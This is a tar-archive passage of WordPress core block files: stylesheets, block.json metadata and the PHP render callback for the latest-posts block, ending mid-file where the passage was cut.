0ustar00.wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none;padding-left:0}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap;padding:0}.wp-block-latest-posts.is-grid li{margin:0 1.25em 1.25em 0;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-right:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-right:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-right:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-right:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-right:0}}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}blocks/latest-posts/editor-rtl.css000064400000000733151202620300013254 0ustar00.wp-block-latest-posts{ padding-right:2.5em; } .wp-block-latest-posts.is-grid{ padding-right:0; } .wp-block-latest-posts>li{ overflow:hidden; } .wp-block-latest-posts li a>div{ display:inline; } .edit-post-visual-editor .wp-block-latest-posts.is-grid li{ margin-bottom:20px; } .editor-latest-posts-image-alignment-control .components-base-control__label{ display:block; } .editor-latest-posts-image-alignment-control .components-toolbar{ border-radius:2px; }blocks/latest-posts/editor-rtl.min.css000064400000000657151202620300014043 0ustar00.wp-block-latest-posts{padding-right:2.5em}.wp-block-latest-posts.is-grid{padding-right:0}.wp-block-latest-posts>li{overflow:hidden}.wp-block-latest-posts li a>div{display:inline}.edit-post-visual-editor .wp-block-latest-posts.is-grid li{margin-bottom:20px}.editor-latest-posts-image-alignment-control .components-base-control__label{display:block}.editor-latest-posts-image-alignment-control .components-toolbar{border-radius:2px}blocks/latest-posts/style-rtl.css000064400000003551151202620300013127 0ustar00.wp-block-latest-posts{ box-sizing:border-box; } .wp-block-latest-posts.alignleft{ margin-right:2em; } .wp-block-latest-posts.alignright{ margin-left:2em; } .wp-block-latest-posts.wp-block-latest-posts__list{ list-style:none; padding-right:0; } .wp-block-latest-posts.wp-block-latest-posts__list li{ clear:both; } .wp-block-latest-posts.is-grid{ display:flex; flex-wrap:wrap; padding:0; } .wp-block-latest-posts.is-grid li{ margin:0 0 1.25em 1.25em; width:100%; } @media (min-width:600px){ .wp-block-latest-posts.columns-2 li{ width:calc(50% - .625em); } .wp-block-latest-posts.columns-2 li:nth-child(2n){ margin-left:0; } .wp-block-latest-posts.columns-3 li{ width:calc(33.33333% - .83333em); } .wp-block-latest-posts.columns-3 li:nth-child(3n){ margin-left:0; } .wp-block-latest-posts.columns-4 li{ width:calc(25% - .9375em); } .wp-block-latest-posts.columns-4 li:nth-child(4n){ margin-left:0; } .wp-block-latest-posts.columns-5 li{ width:calc(20% - 1em); } .wp-block-latest-posts.columns-5 li:nth-child(5n){ margin-left:0; } .wp-block-latest-posts.columns-6 li{ width:calc(16.66667% - 1.04167em); } .wp-block-latest-posts.columns-6 li:nth-child(6n){ margin-left:0; } } .wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{ display:block; font-size:.8125em; } .wp-block-latest-posts__post-excerpt{ margin-bottom:1em; margin-top:.5em; } .wp-block-latest-posts__featured-image a{ display:inline-block; } .wp-block-latest-posts__featured-image img{ height:auto; max-width:100%; width:auto; } .wp-block-latest-posts__featured-image.alignleft{ float:left; margin-right:1em; } .wp-block-latest-posts__featured-image.alignright{ float:right; margin-left:1em; } .wp-block-latest-posts__featured-image.aligncenter{ margin-bottom:1em; text-align:center; }blocks/latest-posts/style.css000064400000003555151202620300012334 0ustar00.wp-block-latest-posts{ box-sizing:border-box; } .wp-block-latest-posts.alignleft{ margin-right:2em; } .wp-block-latest-posts.alignright{ margin-left:2em; } .wp-block-latest-posts.wp-block-latest-posts__list{ list-style:none; padding-left:0; } .wp-block-latest-posts.wp-block-latest-posts__list li{ clear:both; } .wp-block-latest-posts.is-grid{ display:flex; flex-wrap:wrap; padding:0; } .wp-block-latest-posts.is-grid li{ margin:0 1.25em 1.25em 0; width:100%; } @media (min-width:600px){ .wp-block-latest-posts.columns-2 li{ width:calc(50% - .625em); } .wp-block-latest-posts.columns-2 li:nth-child(2n){ margin-right:0; } .wp-block-latest-posts.columns-3 li{ width:calc(33.33333% - .83333em); } .wp-block-latest-posts.columns-3 li:nth-child(3n){ margin-right:0; } .wp-block-latest-posts.columns-4 li{ width:calc(25% - .9375em); } .wp-block-latest-posts.columns-4 li:nth-child(4n){ margin-right:0; } .wp-block-latest-posts.columns-5 li{ width:calc(20% - 1em); } .wp-block-latest-posts.columns-5 li:nth-child(5n){ margin-right:0; } .wp-block-latest-posts.columns-6 li{ width:calc(16.66667% - 1.04167em); } .wp-block-latest-posts.columns-6 li:nth-child(6n){ margin-right:0; } } .wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{ display:block; font-size:.8125em; } .wp-block-latest-posts__post-excerpt{ margin-bottom:1em; margin-top:.5em; } .wp-block-latest-posts__featured-image a{ display:inline-block; } .wp-block-latest-posts__featured-image img{ height:auto; max-width:100%; width:auto; } .wp-block-latest-posts__featured-image.alignleft{ float:left; margin-right:1em; } .wp-block-latest-posts__featured-image.alignright{ float:right; margin-left:1em; } .wp-block-latest-posts__featured-image.aligncenter{ margin-bottom:1em; text-align:center; }blocks/latest-posts.php000064400000015644151202620300011175 0ustar00 $attributes['postsToShow'], 'post_status' => 'publish', 'order' => $attributes['order'], 'orderby' => $attributes['orderBy'], 'suppress_filters' => false, ); $block_core_latest_posts_excerpt_length = $attributes['excerptLength']; add_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); if ( isset( $attributes['categories'] ) ) { $args['category__in'] = array_column( $attributes['categories'], 'id' ); } if ( isset( $attributes['selectedAuthor'] ) ) { $args['author'] = $attributes['selectedAuthor']; } $recent_posts = get_posts( $args ); $list_items_markup = ''; foreach ( $recent_posts as $post ) { $post_link = esc_url( get_permalink( $post ) ); $list_items_markup .= '
  • '; if ( $attributes['displayFeaturedImage'] && has_post_thumbnail( $post ) ) { $image_style = ''; if ( isset( $attributes['featuredImageSizeWidth'] ) ) { $image_style .= sprintf( 'max-width:%spx;', $attributes['featuredImageSizeWidth'] ); } if ( isset( $attributes['featuredImageSizeHeight'] ) ) { $image_style .= sprintf( 'max-height:%spx;', $attributes['featuredImageSizeHeight'] ); } $image_classes = 'wp-block-latest-posts__featured-image'; if ( isset( $attributes['featuredImageAlign'] ) ) { $image_classes .= ' align' . $attributes['featuredImageAlign']; } $featured_image = get_the_post_thumbnail( $post, $attributes['featuredImageSizeSlug'], array( 'style' => $image_style, ) ); if ( $attributes['addLinkToFeaturedImage'] ) { $featured_image = sprintf( '%2$s', $post_link, $featured_image ); } $list_items_markup .= sprintf( '
    %2$s
    ', $image_classes, $featured_image ); } $title = get_the_title( $post ); if ( ! $title ) { $title = __( '(no title)' ); } $list_items_markup .= sprintf( '%2$s', $post_link, $title ); if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $author_display_name = get_the_author_meta( 'display_name', $post->post_author ); /* translators: byline. %s: current author. */ $byline = sprintf( __( 'by %s' ), $author_display_name ); if ( ! empty( $author_display_name ) ) { $list_items_markup .= sprintf( '', esc_html( $byline ) ); } } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $list_items_markup .= sprintf( '', esc_attr( get_the_date( 'c', $post ) ), esc_html( get_the_date( '', $post ) ) ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'excerpt' === $attributes['displayPostContentRadio'] ) { $trimmed_excerpt = get_the_excerpt( $post ); if ( post_password_required( $post ) ) { $trimmed_excerpt = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '
    %1$s
    ', $trimmed_excerpt ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'full_post' === $attributes['displayPostContentRadio'] ) { $post_content = wp_kses_post( html_entity_decode( $post->post_content, ENT_QUOTES, get_option( 'blog_charset' ) ) ); if ( post_password_required( $post ) ) { $post_content = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '
    %1$s
    ', $post_content ); } $list_items_markup .= "
  • \n"; } remove_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); $class = 'wp-block-latest-posts__list'; if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) { $class .= ' is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) { $class .= ' columns-' . $attributes['columns']; } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $class .= ' has-dates'; } if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $class .= ' has-author'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class ) ); return sprintf( '
      %2$s
    ', $wrapper_attributes, $list_items_markup ); } /** * Registers the `core/latest-posts` block on server. */ function register_block_core_latest_posts() { register_block_type_from_metadata( __DIR__ . '/latest-posts', array( 'render_callback' => 'render_block_core_latest_posts', ) ); } add_action( 'init', 'register_block_core_latest_posts' ); /** * Handles outdated versions of the `core/latest-posts` block by converting * attribute `categories` from a numeric string to an array with key `id`. * * This is done to accommodate the changes introduced in #20781 that sought to * add support for multiple categories to the block. However, given that this * block is dynamic, the usual provisions for block migration are insufficient, * as they only act when a block is loaded in the editor. * * TODO: Remove when and if the bottom client-side deprecation for this block * is removed. * * @param array $block A single parsed block object. * * @return array The migrated block object. */ function block_core_latest_posts_migrate_categories( $block ) { if ( 'core/latest-posts' === $block['blockName'] && ! empty( $block['attrs']['categories'] ) && is_string( $block['attrs']['categories'] ) ) { $block['attrs']['categories'] = array( array( 'id' => absint( $block['attrs']['categories'] ) ), ); } return $block; } add_filter( 'render_block_data', 'block_core_latest_posts_migrate_categories' ); blocks/list/block.json000064400000001225151202620300010750 0ustar00{ "apiVersion": 2, "name": "core/list", "category": "text", "attributes": { "ordered": { "type": "boolean", "default": false }, "values": { "type": "string", "source": "html", "selector": "ol,ul", "multiline": "li", "__unstableMultilineWrapperTags": [ "ol", "ul" ], "default": "" }, "type": { "type": "string" }, "start": { "type": "number" }, "reversed": { "type": "boolean" } }, "supports": { "anchor": true, "className": false, "fontSize": true, "color": { "gradients": true }, "__unstablePasteTextInline": true }, "editorStyle": "wp-block-list-editor", "style": "wp-block-list" } blocks/list/style-rtl.min.css000064400000000127151202620300012216 0ustar00ol,ul{box-sizing:border-box}ol.has-background,ul.has-background{padding:1.25em 2.375em}blocks/list/style.min.css000064400000000127151202620300011417 0ustar00ol,ul{box-sizing:border-box}ol.has-background,ul.has-background{padding:1.25em 2.375em}blocks/list/style-rtl.css000064400000000142151202620300011431 0ustar00ol,ul{ box-sizing:border-box; } ol.has-background,ul.has-background{ padding:1.25em 2.375em; }blocks/list/style.css000064400000000142151202620300010632 0ustar00ol,ul{ box-sizing:border-box; } ol.has-background,ul.has-background{ padding:1.25em 2.375em; }blocks/media-text/block.json000064400000003175151202620300012044 0ustar00{ "apiVersion": 2, "name": "core/media-text", "category": "media", "attributes": { "align": { "type": "string", "default": "wide" }, "mediaAlt": { "type": "string", "source": "attribute", "selector": "figure img", "attribute": "alt", "default": "" }, "mediaPosition": { "type": "string", "default": "left" }, "mediaId": { "type": "number" }, "mediaUrl": { "type": "string", "source": "attribute", "selector": "figure video,figure img", "attribute": "src" }, "mediaLink": { "type": "string" }, "linkDestination": { "type": "string" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "target" }, "href": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "href" }, "rel": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "rel" }, "linkClass": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "class" }, "mediaType": { "type": "string" }, "mediaWidth": { "type": "number", "default": 50 }, "mediaSizeSlug": { "type": "string" }, "isStackedOnMobile": { "type": "boolean", "default": true }, "verticalAlignment": { "type": "string" }, "imageFill": { "type": "boolean" }, "focalPoint": { "type": "object" } }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true } }, "editorStyle": "wp-block-media-text-editor", "style": "wp-block-media-text" } blocks/media-text/editor.min.css000064400000001056151202620300012635 0ustar00.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}blocks/media-text/style-rtl.min.css000064400000003745151202620300013315 0ustar00.wp-block-media-text{box-sizing:border-box;direction:ltr;display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{align-self:start}.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{align-self:end}.wp-block-media-text .wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text .wp-block-media-text__content{direction:rtl;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{clip:rect(0,0,0,0);border:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{grid-column:1;grid-row:2}}blocks/media-text/editor.css000064400000001156151202620300012054 0ustar00.wp-block-media-text__media{ position:relative; } .wp-block-media-text__media.is-transient img{ opacity:.3; } .wp-block-media-text__media .components-spinner{ left:50%; margin-left:-9px; margin-top:-9px; position:absolute; top:50%; } .wp-block-media-text .__resizable_base__{ grid-column:1 / span 2; grid-row:2; } .wp-block-media-text .editor-media-container__resizer{ width:100% !important; } .wp-block-media-text.is-image-fill .editor-media-container__resizer{ height:100% !important; } .wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{ max-width:unset; }blocks/media-text/style.min.css000064400000004313151202620300012506 0ustar00.wp-block-media-text{box-sizing:border-box; /*!rtl:begin:ignore*/direction:ltr; /*!rtl:end:ignore*/display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{align-self:start}.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{align-self:end}.wp-block-media-text .wp-block-media-text__media{ /*!rtl:begin:ignore*/grid-column:1;grid-row:1; /*!rtl:end:ignore*/margin:0}.wp-block-media-text .wp-block-media-text__content{direction:ltr; /*!rtl:begin:ignore*/grid-column:2;grid-row:1; /*!rtl:end:ignore*/padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{ /*!rtl:begin:ignore*/grid-column:2;grid-row:1 /*!rtl:end:ignore*/}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{ /*!rtl:begin:ignore*/grid-column:1;grid-row:1 /*!rtl:end:ignore*/}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{clip:rect(0,0,0,0);border:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{grid-column:1;grid-row:2}}blocks/media-text/editor-rtl.css000064400000001160151202620300012646 0ustar00.wp-block-media-text__media{ position:relative; } .wp-block-media-text__media.is-transient img{ opacity:.3; } .wp-block-media-text__media .components-spinner{ margin-right:-9px; margin-top:-9px; position:absolute; right:50%; top:50%; } .wp-block-media-text .__resizable_base__{ grid-column:1 / span 2; grid-row:2; } .wp-block-media-text .editor-media-container__resizer{ width:100% !important; } .wp-block-media-text.is-image-fill .editor-media-container__resizer{ height:100% !important; } .wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{ max-width:unset; }blocks/media-text/editor-rtl.min.css000064400000001060151202620300013427 0ustar00.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}blocks/media-text/style-rtl.css000064400000004274151202620300012531 0ustar00.wp-block-media-text{ box-sizing:border-box; direction:ltr; display:grid; grid-template-columns:50% 1fr; grid-template-rows:auto; } .wp-block-media-text.has-media-on-the-right{ grid-template-columns:1fr 50%; } .wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{ align-self:start; } .wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{ align-self:center; } .wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{ align-self:end; } .wp-block-media-text .wp-block-media-text__media{ grid-column:1; grid-row:1; margin:0; } .wp-block-media-text .wp-block-media-text__content{ direction:rtl; grid-column:2; grid-row:1; padding:0 8%; word-break:break-word; } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{ grid-column:2; grid-row:1; } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{ grid-column:1; grid-row:1; } .wp-block-media-text__media img,.wp-block-media-text__media video{ height:auto; max-width:unset; vertical-align:middle; width:100%; } .wp-block-media-text.is-image-fill .wp-block-media-text__media{ background-size:cover; height:100%; min-height:250px; } .wp-block-media-text.is-image-fill .wp-block-media-text__media>a{ display:block; height:100%; } .wp-block-media-text.is-image-fill .wp-block-media-text__media img{ clip:rect(0, 0, 0, 0); border:0; height:1px; margin:-1px; overflow:hidden; padding:0; position:absolute; width:1px; } @media (max-width:600px){ .wp-block-media-text.is-stacked-on-mobile{ grid-template-columns:100% !important; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{ grid-column:1; grid-row:1; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{ grid-column:1; grid-row:2; } }blocks/media-text/style.css000064400000004274151202620300011732 0ustar00.wp-block-media-text{ box-sizing:border-box; direction:ltr; display:grid; grid-template-columns:50% 1fr; grid-template-rows:auto; } .wp-block-media-text.has-media-on-the-right{ grid-template-columns:1fr 50%; } .wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{ align-self:start; } .wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{ align-self:center; } .wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{ align-self:end; } .wp-block-media-text .wp-block-media-text__media{ grid-column:1; grid-row:1; margin:0; } .wp-block-media-text .wp-block-media-text__content{ direction:ltr; grid-column:2; grid-row:1; padding:0 8%; word-break:break-word; } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{ grid-column:2; grid-row:1; } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{ grid-column:1; grid-row:1; } .wp-block-media-text__media img,.wp-block-media-text__media video{ height:auto; max-width:unset; vertical-align:middle; width:100%; } .wp-block-media-text.is-image-fill .wp-block-media-text__media{ background-size:cover; height:100%; min-height:250px; } .wp-block-media-text.is-image-fill .wp-block-media-text__media>a{ display:block; height:100%; } .wp-block-media-text.is-image-fill .wp-block-media-text__media img{ clip:rect(0, 0, 0, 0); border:0; height:1px; margin:-1px; overflow:hidden; padding:0; position:absolute; width:1px; } @media (max-width:600px){ .wp-block-media-text.is-stacked-on-mobile{ grid-template-columns:100% !important; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{ grid-column:1; grid-row:1; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{ grid-column:1; grid-row:2; } }blocks/missing/block.json000064400000000603151202620300011445 0ustar00{ "apiVersion": 2, "name": "core/missing", "category": "text", "attributes": { "originalName": { "type": "string" }, "originalUndelimitedContent": { "type": "string" }, "originalContent": { "type": "string", "source": "html" } }, "supports": { "className": false, "customClassName": false, "inserter": false, "html": false, "reusable": false } } blocks/more/block.json000064400000000522151202620300010736 0ustar00{ "apiVersion": 2, "name": "core/more", "category": "design", "attributes": { "customText": { "type": "string" }, "noTeaser": { "type": "boolean", "default": false } }, "supports": { "customClassName": false, "className": false, "html": false, "multiple": false }, "editorStyle": "wp-block-more-editor" } blocks/more/editor.min.css000064400000001333151202620300011534 0ustar00.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}blocks/more/editor.css000064400000001504151202620300010752 0ustar00.block-editor-block-list__block[data-type="core/more"]{ margin-bottom:28px; margin-top:28px; max-width:100%; text-align:center; } .wp-block-more{ display:block; text-align:center; white-space:nowrap; } .wp-block-more input[type=text]{ background:#fff; border:none; border-radius:4px; box-shadow:none; color:#757575; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:600; height:24px; margin:0; max-width:100%; padding:6px 8px; position:relative; text-align:center; text-transform:uppercase; white-space:nowrap; } .wp-block-more input[type=text]:focus{ box-shadow:none; } .wp-block-more:before{ border-top:3px dashed #ccc; content:""; left:0; position:absolute; right:0; top:50%; }blocks/more/editor-rtl.css000064400000001504151202620300011551 0ustar00.block-editor-block-list__block[data-type="core/more"]{ margin-bottom:28px; margin-top:28px; max-width:100%; text-align:center; } .wp-block-more{ display:block; text-align:center; white-space:nowrap; } .wp-block-more input[type=text]{ background:#fff; border:none; border-radius:4px; box-shadow:none; color:#757575; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:600; height:24px; margin:0; max-width:100%; padding:6px 8px; position:relative; text-align:center; text-transform:uppercase; white-space:nowrap; } .wp-block-more input[type=text]:focus{ box-shadow:none; } .wp-block-more:before{ border-top:3px dashed #ccc; content:""; left:0; position:absolute; right:0; top:50%; }blocks/more/editor-rtl.min.css000064400000001333151202620300012333 0ustar00.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}blocks/nextpage/block.json000064400000000353151202620300011611 0ustar00{ "apiVersion": 2, "name": "core/nextpage", "category": "design", "parent": [ "core/post-content" ], "supports": { "customClassName": false, "className": false, "html": false }, "editorStyle": "wp-block-nextpage-editor" } blocks/nextpage/editor.min.css000064400000001120151202620300012377 0ustar00.block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}blocks/nextpage/editor.css000064400000001241151202620300011621 0ustar00.block-editor-block-list__block[data-type="core/nextpage"]{ margin-bottom:28px; margin-top:28px; max-width:100%; text-align:center; } .wp-block-nextpage{ display:block; text-align:center; white-space:nowrap; } .wp-block-nextpage>span{ background:#fff; border-radius:4px; color:#757575; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:600; height:24px; padding:6px 8px; position:relative; text-transform:uppercase; } .wp-block-nextpage:before{ border-top:3px dashed #ccc; content:""; left:0; position:absolute; right:0; top:50%; }blocks/nextpage/editor-rtl.css000064400000001241151202620300012420 0ustar00.block-editor-block-list__block[data-type="core/nextpage"]{ margin-bottom:28px; margin-top:28px; max-width:100%; text-align:center; } .wp-block-nextpage{ display:block; text-align:center; white-space:nowrap; } .wp-block-nextpage>span{ background:#fff; border-radius:4px; color:#757575; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:600; height:24px; padding:6px 8px; position:relative; text-transform:uppercase; } .wp-block-nextpage:before{ border-top:3px dashed #ccc; content:""; left:0; position:absolute; right:0; top:50%; }blocks/nextpage/editor-rtl.min.css000064400000001120151202620300013176 0ustar00.block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}blocks/paragraph/block.json000064400000001267151202620300011750 0ustar00{ "apiVersion": 2, "name": "core/paragraph", "category": "text", "attributes": { "align": { "type": "string" }, "content": { "type": "string", "source": "html", "selector": "p", "default": "" }, 